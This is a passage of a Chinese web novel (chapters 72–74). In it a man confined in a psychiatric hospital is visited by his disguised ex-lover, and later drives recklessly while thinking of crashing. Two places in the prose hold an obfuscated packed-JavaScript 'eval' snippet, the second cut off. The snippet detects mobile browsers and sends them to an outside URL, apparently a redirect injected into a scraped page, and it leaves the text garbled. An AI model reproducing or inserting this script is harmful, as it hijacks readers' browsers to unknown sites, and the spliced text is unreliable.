“李董,”剩下的保安拽着戚时上前,请示道:“这个人怎么处置?” 李铮鸣瞥过去一眼。 戚时无所畏惧地和他对视上,一边挣扎一边狂笑,完全就是个歇斯底里的疯子。 但不知怎的,明明这人被他们的人制住了,他仍觉得对方笑得毛骨悚然。 “这位是我的客人,他看起来似乎精神状况不太好,所以才失手打人。”李铮鸣淡淡道:“正好,我们泰华不是在京设立的有家精神病医院么?你们就把他送去那里托人治疗几天吧。” 72.第72章 周遭一片漆黑,整个人仿佛失重一样,天旋地转着,不停地塌陷、坠落,分不清日夜和时间流逝。 就像一片随波逐流的叶子,无法控制地掉落进深渊。 耳畔不时传来嘈杂的笑闹声。 不是儿童的嬉戏玩闹声,是一群暴躁的成年人不停拍打着防盗门在尖叫与癫笑。 沉重的眼皮紧闭着,戚时眉头紧蹙,薄棉被覆盖住的两只手痉挛几下,猛地攥紧床单。 四肢似乎被打过麻药,他只是强行用了下力,周身登时袭上来一阵钻心彻骨的痛感。 戚时顿时丧失力气,额角冒了些汗,挣扎着攥紧床单的两只手也被迫松了开。 潜意识逐渐复苏,他闭着眼浅浅呼吸着,调整着有些紧张慌乱的情绪。 他知道自己正躺在精神病院的某间病房里。 他确实惹到了不该惹的人。 李铮鸣命人卸了他的胳膊腿,一挥手,就把他扔到了自家名下的医院,若非他哥和李铮鸣有几分交情,他恐怕这会儿都在小黑屋挨八百遍电击了。 隔壁病房的患者们持续喧闹着,走廊外面,不知道哪个疯子正在用尖锐物刮擦着光滑地板,嘴里念念有词,还发出笑嘻嘻的动静。戚时头痛难耐,恨不得立刻从床上蹦起来,冲出门把那扰乱他清净的神经病给掐死。 然后,他意识到自己好像是一间独立病房。 李铮鸣还是有几分良心在的。 心下盘算着,他大概昏迷不过一夜,因为李铮鸣肯定会及时联系他哥来赎人,他哥也一定会在最短时间内火速赶到,然后让人把他给弄醒,再抽皮带噼里啪啦赏他一顿毒打。 所以现在应该是在清晨。 戚时闭着眼,安心等待着一会儿他哥来揍他,然后再把他平平安安地接走。 门外忽地响起一阵窸窣动静,似乎是很多皮鞋踩在地上的脚步声,接着,众人“啪”地一声,集体立定成一排,显然在迎候某个人。 走廊里喧闹的病人们也遭到了驱散,此起彼伏着回荡着哀嚎声,蹲在他房门外拿尖锐物刮地板的神经病,也被两个护士连哄带骗地带走了。 “他养伤期间,我的人会一直守在这里。” 门外是个声音低沉的男嗓,辨不清年龄,听起来有些沙哑。 他对陪同的一众医生们嘱咐道:“如果晚上太吵,他会睡不踏实。” 众医生们应声称是。 “他隔壁两个房间也要空出来,”男人说,“这些人也很吵,你们今晚就安排他们去别的病房。” “好的。” “他伤势怎么样?” “骨折了几处,修养个把月就好了。” “什么时候能接回家?” “大概……”一个老医生沉吟片刻,说:“半月之后吧。” “这几天醒过吗?” “没有,按理这两天该醒了,当然不排除他内心想逃离现实,潜意识里不想让自己醒来。” 几天? 戚时心中一惊,他原来被麻醉了好几天么? 那他哥那么一个大闲人怎么还不来救他? 门外话声渐止,交谈结束,众医生护士们安静退离。 下一秒,病房厚重的防盗门被人推开,两个保镖就走近他床边,默契地俯下身,一个小心翼翼地托起他肩膀,另一个人拿黑布条紧紧地蒙上了他的眼睛。 戚时不舒服地皱起眉头。 搞什么幺蛾子? 李铮鸣和李天涯那俩老混蛋不会把他卖给黑|道了吧? 打他一顿还不够,还要玩儿绑架勒索那一套? 保镖见势连忙冲门外喊道:“钟先生,他醒了!” 钟先生? 戚时脑子里一闪而过那张请柬、和堆满了他整间办公室的一堆老人食补品。 钟覃倪么? 说来也怪,戚时想,年轻老板之间互赠礼品,一般都送烟送酒,谁会送人参燕窝冬虫夏草这些啊? 钟覃倪貌似在门口徘徊了一会儿,才缓缓朝这边走来。 走到距离病床半米,他及时止步,扭头吩咐其中一个保镖:“去,给戚先生买份晚饭来。” 他话声很低沉,不是纯天然的嗓音,是刻意压低的浑厚。 那保镖应声而去。 戚时的眼睛终于睁开了。 奈何被人蒙住了眼,面前仍是一片漆黑。 戚时不太痛快,循声朝钟覃倪的方向望去,冲人嚷道:“诶,你这布料什么材质的,居然不透光?” 钟覃倪浅浅一笑,站在床边凝望他良久,没搭腔。 剩下的那个保镖抬头问:“钟先生,我现在是出去还是?” 钟覃倪:“你守在这里,等会儿伺候戚先生吃饭。” 保镖点头:“行。” 戚时轻嗤一声,问钟覃倪:“你蒙我眼睛干什么?我自己会吃饭。” 钟覃倪冷哼一声,不客气道:“你胳膊腿都打着石膏,你怎么吃饭?用你的第三条腿么?” 戚时挑眉:“那我哥呢?我哥怎么不来?李铮鸣呢?还有李天涯那个老畜生,他还活着没啊?还有你,你和他们什么关系啊,他们就这么把你放进来了,万一你半夜里想要对我谋财害命怎么办啊?” 钟覃倪声线平稳:“李天涯是我朋友,我已经替你赔礼道过歉了,他大人有大量,不会再跟你计较,以后也不会让李铮鸣为难你。” “还有宴会上那些需要封口的宾客,他们李家的人自会去办,用不着我们操心,现在你就安心养伤,等好得差不多了,你哥会来接你回家。” 戚时听罢,连连摇头唏嘘。 钟覃倪斜他一眼:“怎么,悔不当初了?” “不!”戚时大言不惭道:“我是觉得,我还是太有魅力了,居然能让一个素未谋面的人为我做到这个份儿上!说吧,又是送请柬又是赔礼道歉的,你是不是暗恋我挺久了?” 钟覃倪:“……” 下一秒,不禁苦涩一笑:“是,可惜我长得丑,配不上你。” 戚时不免觉得有几分抱歉,好心宽慰道:“别这样,一个人活着最重要的不是外貌,是心地善良!你看你,大老远跑来帮我这么多忙,鞍前马后的照顾着,还派人给我买饭吃,从始至终都没跟我谈条件—— 话说,你既然都喜欢我了,就不会跟我谈什么条件的,对吧?” 钟覃倪:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781447|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 没忍住翻了个大白眼,说:“不会。” 戚时登时叫好,大声称赞道:“看!助人为乐,无私奉献,这不正说明你是一个挺善良的人嘛!你要珍惜你所拥有的,而不是未曾得到的,只要你坚持做你自己,早晚会有人喜欢你的!” 钟覃倪冷哼一声:“随你怎么说,反正从今往后,只要你见我,你就得蒙住眼。” 戚时“哎呀”一声,他不是很情愿。 明知道会刺痛人家自尊心,他还是忍不住探头询问:“我说哥们儿,至于吗?你到底是有多丑啊?” 钟覃倪盯着他,一字一顿道:“很丑,特别丑,丑到曾经一个特别爱我的人,也最终忍受不了我的样子,他逃得我远远的,说再也不想看见我。” 戚时不屑“切”一声,断言道:“以貌取人,那是他人不行!” 钟覃倪:“是么?你搞对象不看脸的么?” 戚时又毫不犹豫地建议道:“其实我觉得,你这么有钱有势,闲着没事儿了去美容院整个容打点科技什么的,或许可以改变一下命运。” 钟覃倪气得一笑,正要张口怼他几句,蓦地胸腔一痛,整个人立刻就缩了下去。 他冷汗涔涔地蹲在地上,嘴唇紧抿成一线,强忍住不咳出声。一手艰难地扶着床尾,另一手紧攥着胸前衬衫领口,痛苦地拧着眉头,埋头大口地呼吸着。 保镖见势忙跑过来搀他,凑在他耳畔,声音压得极低:“三少,您正在手术恢复期,不宜站立太长时间,我送您回酒店休息。” 何湛程点点头,临出门前,忍不住回过头,有些不舍地朝病床上的人望了一眼。 戚时浑身打着石膏,躺在病床上动不了,只觉得屋里突然安静下来,氛围变得很诡异。 他莫名其妙,忍不住喊人:“诶?诶?!哥们儿,说话啊,你人呢?!” 何湛程弯腰蜷缩着身子,像条漆黑的绶带一样,无力地吊在保镖粗壮的手臂上,他痛得喘不过气,听到戚时不停呼唤他的声音,又情不自禁地想笑。 何湛程就推了保镖一下,眼神示意对方给戚时一个回应。 保镖有点生气,神色不善地扭过头,对那人敷衍道:“戚先生,别喊了,我们老板有事先走了,改天再来看您。” 说完,反脚“砰”一声将门踹上,把戚时孤身一人隔绝在病房里。 戚时“哦”了声,一句“你们走就走吧,倒是先给老子把蒙眼睛布给解了啊”噎在喉咙里,心里莫名愤愤。 不知怎的,他们刚才也没聊什么特别有意思的话题,但钟覃倪一声不吭地就走了,他竟觉得十分无趣。 很丑么? 戚时缓缓闭上眼,努力回忆着那人刻意压低的声音。 假装浑厚的男低音炮,真实底色流露出几分少年的脆生清朗,很熟悉……熟悉到对方只要一开口,不管讲什么词句,都能令他感到发自心底的欢喜。 戚时就觉得,钟覃倪应该也是个超级无敌大帅哥才对。 还有钟覃倪这个名字。 他说不上哪儿不对劲,“覃”这个字,还是他搜百度才认识的。 钟覃倪,钟覃倪。 莫名怪怪的。 73.第73章 这些天,钟覃倪探病来得挺勤。 虽然每次来,他都和病床保持半米距离,生怕戚时不小心看见他,说话也是能少则少,且最多只待半个小时就打道回府。 戚时兴致却一天比一天高涨。 哪怕钟覃倪一来,自己就要被俩保镖蒙上眼睛变成盲人,他也乐在其中。 他很久没对一个人这样热情过了。 不止是对人,他家果汁儿至今还放在某宠物医院里寄养呢。 每次一想起来,戚时都恨不得立刻开车去把闺女接回家,可一旦准备付诸行动,他忽然又觉得力不从心。 秘书说他隔三差五就胡子拉碴的,好几次开会都忘记自己穿得拖鞋,这也就算了,有次做季度财报汇总,他站在台上发言,没注意自己腰带系紧了,穿得还是一条偏紧的灰色西裤,档|下明显有个大鼓包,台下众员工涨得满脸爆红,不敢吱声。 自打那天起,公司人到处议论纷纷,他裆下傲人的“风采”在整个集团已经成传奇,许多人无心工作,天天抱着文件夹跑到楼上总裁办假装路过,还有那些无聊员工私下组建的、他戚时个人的粉丝团,在半月内猛涨五百男粉—— 他们总部一共才两千来个人。 秘书将上述事迹一一列举,希望他日后能注意一点形象。 戚时听得头疼,埋头搓了无数遍脸,最后就没去把果汁儿接回来。 他连自己都照顾不好。 “覃倪?” “嗯?” “没什么,”病房里,他笑,“我发现自从认识了你,我每天都睡得挺香,昨晚上还做美梦了呢。” 钟覃倪笑了声,没搭腔。 戚时不乐意:“你怎么不问我做什么美梦?” 钟覃倪配合道:“你做什么美梦?” 戚时哈哈一笑,调戏道:“我梦见你原来骗我,你其实是个大帅哥,趁我睡着了还偷亲我呢!” 钟覃倪似乎并不高兴,声线冷淡:“被一个刚认识的人亲,你就这么开心?” 戚时不以为然:“你不是喜欢我么?” 钟覃倪冷笑:“我喜欢你,你就可以随便让我亲么?” 说完,不够解恨,继续抨击道:“看来你也是个很随便的人。” 戚时“切”一声,说:“真没劲!” 钟覃倪也不再理他。 钟覃倪很安静,不会主动提起什么话题,大部分时候就守在一旁沙发上看书喝茶,听他喋喋不休地讲着许多废话。最近立冬,天寒风烈,钟覃倪似乎很怕冷,身上披着貂,还命人在屋里摆了电暖炉。 钟覃倪偶尔会犯困打盹,上一秒还笑吟吟地听他瞎扯淡,下一秒,直接歪头趴在沙发扶手上,鼻腔不时传出轻微的鼾声,像只呼噜噜睡着的小猫。 戚时很讨厌钟覃倪打盹。 他不知道对方也是个需要躺着床上疗养的病号,只知道钟覃倪本来每天就只来半小时,居然还要浪费五六分钟去睡觉,莫名让人不爽。 而且,戚时和钟覃倪相反,他是易燥体质,别说现在才十一月,就是天寒地冻的隆冬腊月,他也照样能穿着短袖去露天晨跑十公里。 钟覃倪这矫情兮兮的小子在他病房里摆电暖炉,他每天都要被热得浑身冒大汗。 一开始,戚时看在人家救他的份儿上,没好意思提,现在他们熟了,戚时憋不住了,就说都赖钟覃倪,害得他每天身上黏糊糊的,他胳膊腿都打着石膏,也不能洗澡,这事儿钟覃倪必须要负全责! 钟覃倪脾气倒好,转头就吩咐陪护戚时的保镖:“接盆水来,帮他擦一擦身子。” 保镖点头:“是。” 弯腰蹲下,从床底下拿出个不锈钢大盆,步履铿锵地就推门出去了。 戚时眉头一皱,趁人不在,连忙扭头就找钟覃倪告状:“诶,你别让他再帮我撒尿擦身子了行不行?你知道他力气多大么?还有,他是不是对我有意见?你不在的时候,那家伙每次帮我翻身都巨暴力,他那两条胳膊跟金刚臂似的,老子骨头都要让他给捏碎了!” 钟覃倪挑眉:“不找他,找谁?他是我身边最强壮的保镖,不然其他人哪里能扶得动你。” 戚时不屑嗤一声:“老子又不下床,哪儿用得着这么大块头的肌肉男扶?” 钟覃倪没忍住笑:“那行,待会儿给你换一个温柔点儿的。” 戚时想也不想,脱口而出:“不用,我看你就挺温柔的,要不你来帮我擦吧!” 一阵漫长的、诡异的沉默。 戚时被蒙着眼,看不清对方表情,但显然,对方被他调戏生气了。 戚时心道不妙,等了半晌,见钟覃倪还不说话,他不禁慌张起来。 这阵子二人相处得太过和谐,他险些忘记了,能跟李天涯交朋友的人,肯定也是大有来头的人物。 人家是天之骄子,豪门世家里走出来的公子少爷,怎么会纡尊降贵,来帮他这种出身平民的残疾病号擦身子? 心里忽然空落落的。 他好像每次都会喜欢上这样的人。 不,他是在对方身上看到了某个人的影子,才这样没头没脑地爱上的。 只是怕钟覃倪会伤心,他说不出口,也不想承认。 戚时也觉得自己很混蛋。 他扯了扯嘴角,说:“我开玩笑的,你别放在心上。” 钟覃倪沉眉盯他半天,忍住怒气,说:“戚时,你真的是个很随便的人。” 戚时自嘲一笑:“是啊,我就是这样的人,你现在看清我了。” “你是不是也对我很失望?” “算了,你走吧。” 戚时心灰意懒地别过头,忍着身子不舒服,强行给自己翻过身,丢给对方一个后背,然后缓缓闭上了眼。 门外保镖敲两下门:“钟先生?” 钟覃倪不理他,臭着一张脸,瞪着床上都残疾成那样了、还敢给他甩脸色的狗男人,胸腔怒火燃烧。 凭什么? 凭什么戚时自己到处撩男逗女的,转过头还要嫌弃他何湛程? 不计后果跑去泰华集团大闹庆典,当众把一个位高权重的官员摁在地上狂揍一顿,这就算很深情了么? 狗男人在宴会上勾搭上人家的迎宾小姐,那女学生昨天拎了两箱小一万的补品来,似乎是为了衬戚时的年纪,她打扮得十分知性成熟。当时何湛程站在走廊和院长讲话,瞥见那美女撩着一头深棕鬈发、一双模特长腿踩着哒哒的高跟鞋就来了,吓得他整个人团团转,差点儿就跑回美国了。 要不是吕薇下一秒紧随其后拐进楼道,他真以为那美女就是戚时的新欢了。 不仅是燕京电影学院的女学生,那晚在场的一些人,章政礼、秦颐儒、乔羽……一窝蜂抱着鲜花提着果篮,凑热闹似的都跑来探病,还有赵博,那小子和秦颐儒是同班同学,偶然间得知戚时出事住院,直接提着行李箱搬着铺盖就来了,自告奋勇要来陪护,谁知道是不是想趁机和戚时发展感情? 呵,他一个都没放他们进来! 戚老二以为他找这么多保镖是防谁的? 防医院里那些鬼哭狼嚎疯疯癫癫的精神病人么? 那群脸蛋漂亮、打扮得花枝招展的少爷公主们,家里要么有钱,要么有权有势,但凡谁铁了心,非要对戚老二这个花心大萝卜展开轰轰烈烈的追求,那不比整个医院的精神病人加起来还要恐怖?! 砰砰砰! 保镖还在外面敲门,询问道:“钟先生?” 钟覃倪不耐烦地皱起眉,努力克制住脾气,温声道:“进吧。” 保镖推门进来,端着大半盆水走到戚时床边,蹲在地上洗毛巾,随口问戚时:“戚先生,咱们先擦哪儿?” 戚时装聋作哑闭眼睡觉,一副挺尸装死、势必要将冷战进行到底的架势。 保镖无奈,探头望向坐在沙发上的钟覃倪,眼神询问。 钟覃倪冷笑一声。 擦什么擦,捂死他得了! “全扒了!”钟覃倪吩咐:“先擦脚,再擦脸,洗一遍毛巾,给他仔细擦擦屁股缝,再擦嘴。” 保镖似乎很兴奋:“好!” 戚时:“……” 没看出来,钟覃倪居然是个这么恶劣的人? 保镖过来给他脱衣服。 病号服宽松易脱,尤其是上衣,一扯就掉。戚时身上一凉,终于开始瑟瑟发抖。 他光着膀子,一个劲儿顾涌着身子,满脸抗拒地躲着那保镖,皱眉道:“别碰我,我不擦了。” 钟覃倪在旁边笑得阴冷:“别啊,你不是热么,让他帮你降降温。” 戚时扭脸瞪他:“钟覃倪!君子动口不动手!” 钟覃倪“哟”一声:“你哪只眼睛看见我是君子了?” “我管你是君子还是小人!”戚时挣扎到床沿,将自己的头对准床头柜尖角,恨声威胁道:“你再敢让他碰老子,老子立刻一头撞死自己!反正我早他妈就不想活了!” “别乱来!”钟覃倪蹭地一下站起来,喝斥道:“宋演,退下!” 宋演低头,刚往后退没两步,就听戚时喊:“退下不行,你得让他滚出去!” 钟覃倪又连忙道:“好!好!你别激动!” 立刻挥手指向门口,对宋演道:“你出去。” 宋演皱眉瞥了眼病床上像疯狗一样的人,不放心地对钟覃倪说:“那我换个人进来保护您。” 戚时又扯子嗓子喊:“不要!” 宋演脾气渐大,说:“戚先生,不是保护您。” 钟覃倪抬手揉着眉心,疲惫地挥挥手:“不用了,你下去吧。” 宋演叹了口气,端起水盆就要出去。 钟覃倪走过来,接过他手里的毛巾,说:“放这儿吧,我给他擦。” 宋演不甚赞同:“您自己身体还——” 钟覃倪面色不悦地瞥他一眼。 宋演只好闭紧嘴,低头推门离开。 钟覃倪脱掉披在肩上的紫貂,搭在沙发扶手上,捋起毛衣袖子,走到床前弯下腰,双手扶戚时躺回去。 “行了,他走了,你也别闹了。” “都快奔三的人了,你不嫌丢人,我还嫌呢。” 戚时满意了,翘起嘴角,得逞般一笑。 眼睛看不见的时候,感官知觉无限放大。 戚时闭着眼,轻轻嗅着对方身上散发出的、很淡雅的木兰花香味,似乎……还混合着另一种令他极其熟悉的柔和淡香。 不知怎的,戚时竟莫名有些紧张。 明明都分手了,他居然有一种在偷偷背着何湛程出轨的感觉。 裸露肩膀蹭过钟覃倪肌肉饱满的胸膛,清晰感知到对方身上羊绒毛衣纵横的细腻纹路,戚时忽地脑子一抽,忍不住仰脸问:“诶,你穿紧身毛衣啊?” 钟覃倪动作一僵,尬笑道:“怎么,我不能穿么?” 该死的! 千防万防,别说香水、护肤套装这些,就连发胶、洗发水、牙膏、护手霜,甚至连私|处护理液!但凡能沾染上气味的东西,他一律全换成新牌子,没想到最后差点毁在了毛衣上! “没啊,”戚时好奇问,“黑色的?” 钟覃倪低头,看一眼自己的紧身黑毛衣,清咳一声,说:“白色的。” 为了进一步增加信服力,又追加一句:“米白,一个意大利的小牌子,你喜欢的话,我下次来给你带几件。” 戚时“哦”一声,蔫巴下来,老老实实躺在枕头上,叹一口气,不免又觉得失望。 钟覃倪忍不住笑,摸了下他的耳朵:“什么表情?” 戚时晃着脑袋,讨好地在他掌心蹭了蹭,一边很享受与对方的亲昵,一边又忍不住回忆感慨:“没什么,就是觉得,黑毛衣更好看。” 钟覃倪翘了下嘴角,俯身抬起他胳膊,拿湿毛巾帮他擦身子,随口问:“是么?你见过穿黑毛衣特别好看的人么?” 戚时顿了顿,说:“见过一个,他穿黑毛衣……很性感。” 钟覃倪好奇追问:“谁啊?前任么?” 戚时一笑:“不说了,怕你吃醋。” 钟覃倪轻推他一下,催促道:“说说,快说说,我想听!” “哎呀,”戚时有点烦躁,他不太想提,“不说了!你什么毛病啊,这么喜欢打听别人前任!” 钟覃倪动作一顿,没再吭声。 但也不像是生气,那人迟钝了一会儿,继续埋头帮他抬胳膊、翻身,细致入微地帮他擦着胸膛和后背,擦完以后,那人又怕他身上太湿会着凉,先帮他盖好了被子,再蹲在地上洗毛巾。 寂静的病房里,水盆里哗啦啦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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钟覃倪三两下飞快帮人擦完腿,将毛巾扔水盆里,然后匆匆忙忙帮戚时穿裤子衣服。 戚时不是很满意,嚷嚷着:“诶诶诶,钟小二,你这服务态度不行啊,后半段太敷衍了啊!我只能给你评三星啊!” “随你,”钟覃倪弯腰一颗颗帮他系着衣扣,随口道,“我明天就要走了,宋演他们会一直留在这里,你有什么要求尽管找他。” “你哥最近在集团替补你的位置,正忙得不可开交,是他托我先过来照顾你,说暂时没空过来赏你耳光,等你出院了他再来接你。” “不过,医生说你还得再躺两周观察观察,你就好好珍惜这段平静的日——” “诶,不是?”戚时打断问:“你怎么还认识我哥啊?” 钟覃倪一笑,偏脸反问:“怎么,我这么有身份的人,认识你哥很奇怪么?” 戚时点点头:“也是。” 钟覃倪替他穿好衣服,将被子推到另一旁,问他:“不冷吧?你身上湿,先晾一会儿吧,不然捂得身上潮。” 戚时没理他这茬,有些不舍地问他:“你要走了?” “对啊,我又不是闲人。”戚时不冷,钟覃倪被冻得倒是冷,他低头褪下两手臂衣袖,拿起紫貂外套重新披在身上,一边系着腰带,一边半开玩笑地揶揄道:“凭你惹祸的本事,但凡我少赚一个子儿,你、你住得这间病房、李铮鸣、李天涯、还有外面那帮医生护士,哪个是那么容易谈拢的?” “啊……”戚时心脏微微颤动。 原来他这间独立病房不是李铮鸣好心,而是钟覃倪做交易帮他换来的。 钟覃倪关掉电暖炉,将插线板收起来放桌上。 他走到床前,从衣兜里掏出一把小梳子,很仔细地、一下又一下地帮戚时理顺着头发。 他凝望着对方英俊削瘦的脸庞,心软又心疼,根本回忆不起他们之间还存在着什么恨。 本打算这辈子就隐身在对方身后,只是远远地望着这个人就足够了,可如今一见了面,他一颗心完全无法控制地、再次蠢蠢欲动起来。 可,如果是以钟覃倪的身份,朋友也好,恋人也好,他将永远都看不到戚时的眼睛。 戚时有一双魅惑动人的大眼,睫毛长而卷翘,鼻梁也极高,两个人在一起的时候,每每拥吻结束,他一抬眼,就知道这个男人很爱他。 很爱,很爱,男人眼底疯狂痴迷的爱意几乎将他淹没,他是真的相信,戚时愿意为了他去死。 “等我走了,”他交代道,“你饭要好好吃,觉要好好睡,如果不高兴了,别出去惹祸捣乱,你让宋演帮你拨电话找我,我陪你聊天,知道么?” “嗯,还有宋演,待会儿我出去告诉他,让他不许掐你了。” 戚时的头皮被对方按摩很舒服,他缓缓闭上眼,说:“覃倪,我们交往吧。” 钟覃倪顿了顿,说:“我跟你说过了,我很丑。” “如果你见到了我的脸,你一定会觉得很恶心。” 戚时艰难地动了下手臂,似乎想要触摸他,但努力半天,只能将打满石膏的手碰到他站在床沿的腿。 钟覃倪有点慌,很怕戚时突然扯掉遮眼布。 他连忙抽回双手,往后退了两步,说:“你、你别碰我!” 戚时无力一声叹息:“怕什么,你不是喜欢我么?” “你喜欢我,我就和你在一起啊。” “如果你介意,我大不了就在见你的时候蒙着眼,反正……” 反正,你我也相处不了多长时间。 反正,最后你们所有人都会弃我而去。 钟覃倪没忍住笑了声:“放屁,我才不信你呢!” 戚时也笑,听着对方撒娇般的话语,他心情莫名畅快起来。 戚时大嗓门喊:“过来,跟老子啵个嘴再走!” “不要!” 钟覃倪哼一声就跑走了,临走前,他忍不住又从门缝里回头。 “戚时。” “嗯?” 我爱你。 何湛程爱你。 一辈子只爱一个人的那种爱。 “你等着我回来。” 74.第74章 “上个月很忙吗?你没来,我还真有些不习惯。” “没,病了,修养了一阵子。” “你也住院了?”老爷子倚靠在床头,上下打量他几眼,轻皱了下眉:“你这么年轻健壮,一般小病奈何不了你吧?” “没,”戚时低头捧着热气腾腾的茶水杯,淡笑:“工作太累了,调养调养。” 老爷子“哦”一声,笑道:“怪不得,最近天天来守着我,原来在给自己放假?” 戚时笑:“是。” 上个月底,他出院,他哥开车来接他,身后跟着俩秘书。 他哥站在走廊里和宋演寒暄,俩秘书拎着鼓囊囊的皮包,给钟覃倪派来守着他的保镖们挨个发红包。 人手一个16666的大红包、一份两千块的小礼物,最后让秘书带着宋演他们去京城最有名的好来福大酒楼吃饭唱K。 戚时嫌没意思,在屋里换好衣服后,安安静静地坐在病床等着。 等着他注定逃不过的、每隔十年必遭一顿的臭骂和毒打。 7岁,17岁—— 刚刚好,他今年27。 出乎意料,他哥应酬完,缓步走到他面前,居高临下地打量他几秒,然后问:“全好了?” 他点点头:“全好了。” 他哥抬起手,大力薅两把他头发,说:“这次既然人家收拾你了,我就不教训你了,省得你挨两顿打,怪亏的。” 他噗嗤就乐了,仰头问:“这回怎么这么好?” 他哥板着脸:“你哥老了,心软。” 他没忍住就红了眼眶,蹭地一下站起身,扑过去和他哥抱了一下。 “哥,你放心,我以后肯定不会再给你惹事了。” “滚开,一身消毒水的臭味儿,老子这件大衣是阿玛尼的限量款。” “……” 回去路上,他哥打着方向盘,开始跟他喋喋不休地絮叨,说,这次多亏了钟覃倪和吕薇,不然他哥也不知道该求谁去。 戚时是庆典当晚被打断四肢关进医院的,伤势很重,当场就疼晕过去了,一旦治疗稍有延误,他这一米九的健壮年轻人非得残废了不可。 当时李铮鸣的意思是,先把他扔病房里疼着,关他个十天半个月再治。 “李铮鸣跟我有交情不假,但你哥没本事,只有听人家吩咐的份儿,真出了事,还得是钟覃倪这种背后有家族撑腰的人物说话有份量。” “你也是吃了熊心豹子胆,惹一个李铮鸣还不够,居然还敢打李天涯?” “你知道人家什么身份吗?!” “这么大场面,数不清的权贵眼皮子底下,人家肯主动过来和你握手,你就算跪着接都不为过!” “在前途和权力面前,情情爱爱算个狗屁?这么简单的道理,你不是早就知道么?” “二十七了,戚时,你他妈都二十七了!你怎么还越活越倒退了?!” “你就看看吧,当时在场这么多人,你认识的那群世家子弟,章政礼、陈北劲、乔羽……他们后来到医院探过几次病,想必和你私下关系都不错,但你惹的人是李铮鸣,他们在明面上当然会毫不犹豫地站李家。” “就算他们真想帮你,一群二十来岁的小年轻,出门在外都是看爹妈脸色吃饭的年纪,难免要力不从心。” “也就吕薇,天不怕地不怕的,就她一个人有胆子找钟覃倪报信,人家钟覃倪才在收到消息后第一时间赶来救你,不然,你哥都这把年纪了,还要为着你这些破事儿去给人家下跪求情——” “我告诉你,这事儿老子都十多年没干过了,你这次要真把你哥逼到这份儿上,你看我回过头来不抽死你!” 副驾车窗开着,冷风吹拂额发,戚时托腮望着路边千篇一律的冬季风景,一脸淡淡然,左耳朵进右耳朵出。 直到他哥突然来一句:“不过,你什么有处女情结了?” 戚时轻哼一声:“我没有。” 他哥皱眉:“不是教过你么,介意那些有的没的的男人,都是没自信的小米粒。” 戚时无语:“你才是小米粒,我说了,没有。” 他哥冷哼道:“那你吃饱了撑得打李天涯干什么?你不是都和何湛程分手子么?还是你想挽回?嗯,如果你有那方面的意思,我可以帮你联——” 戚时打断:“没有。” 他哥:“那你给我一个理由。” 戚时:“没有理由。” 他哥偏脸教训道:“这件事太大,如果你不给我一个说得过去的理由,我就不给你掀篇,你明天跟我去李家道歉赔罪。” 戚时头疼不已,说:“行行行,我看他不爽,行了吧?” 他哥瞪他:“这算理由吗?” 戚时挑眉:“怎么不算啊?我就看那孙子不爽了!老子一看见他,就特别想往死里揍他,多充分的理由!” 他哥:“……” 他最终不肯解释。 他自认没什么好解释的。 然后,他哥第二天早就带着宋演那帮黑衣人跑到他别墅,黑|she|会搞绑架似的,硬抬着他去给李天涯道歉赔罪。 给李天涯道歉? 呵!可能么?! 他睡衣都没换,扭头抓起车钥匙就要跑,宋演那群不要命的,硬扑上来要逮他,还说什么钟先生交代了,他现在精神状态不稳定,不许他开车。 钟先生? 他看宋演也很来气。 那小子长得有点帅,张口闭口钟先生,当初在病房,钟覃倪就单纯走个路,宋演都要跑去扶一把,还动不动挽着钟覃倪说悄悄话,就欺负他躺在病床上起不来。 毛病! 他不管不顾开车一通乱撞,宋演那帮人吓得纷纷后退。 他哥也吓一跳,恨声骂他是不是疯了。 他疯了么? 不,他只是不想再迁就任何人。 他只是在活出自己! 一脚油门踩到底,直接飙车跑来沪上找老爷子。 高速上的风很大,吹得他整个人都很爽,漫无边际的荒凉野地里,响彻遍他车内音响开到最大的摇滚乐。 那一路很空旷,没有灯红酒绿男男女女,没有他哥和那些做不完的工作、还不完的恩情,没有爱和恨,无牵无挂,全世界只剩他自己。 凛冬的寒风在狂啸呼号,头顶压着大片的阴云,远处山峦飘着白苍苍的雪花,高架桥下,每经过一处便利店,他都兴奋地特别想开车撞下去。 为什么? 为什么呢? 为什么他妈的!他一定要把三明治扔进垃圾桶?! 如果当初他吃掉了程儿买给他的三明治,程儿就不会讨厌他,更不会离开他了。 不,不是那里。 要再往前,再往前一点。 是在满世界色彩令他感到眩晕难受的瓜纳华托,在那狭窄得快让他呼吸不过来的接吻巷。 在程儿还肯和他牵手排队拍照留念的时候,他置身完全听不懂异国语言环境之中,窒息得待不下去一点。 他是个笨人,他从小就是个笨蛋。 高中教练也提醒过他很多次,他就是因为太笨了,才只能做体育生。 他想走,然后程儿就生气了。 啊,他才华横溢的程儿。 他写字很漂亮的程儿,会拉小提琴的程儿,总是笑吟吟的、一眼就能看透他在想什么的程儿,无论穿什么衣服都那么漂亮帅气的程儿。 他永远都追赶不上、配不上的程儿。 簌簌雪花染白了他的头,他报复似的疯狂踩脚跺着油门,毫无秩序地晃动着手中的方向盘,红着眼眶拼命回忆。 他不明白自己到底哪一步做错了。 哦,他想起来了,程儿因为飞机的事才和他吵架的。 所以,他不该和何棣坤口嗨打赌,他不应该收何棣坤的礼物。 他不该认识何棣坤。 他更不该认识何湛程。 一颗疲惫的心抽搐疼痛起来。 他哥问他,还想不想复合? 他没说谎,他不想。 他累了,他爱不动了,他连自己都懒得爱了。 他还在半路的时候,就很想终止这一切,然后找个安静的地方休息一下。 茉莉接到他电话,提前定好酒店,带着一群人来接应他。 小半年没见了,茉莉见到他后,恭敬归恭敬,表情有些冷淡。 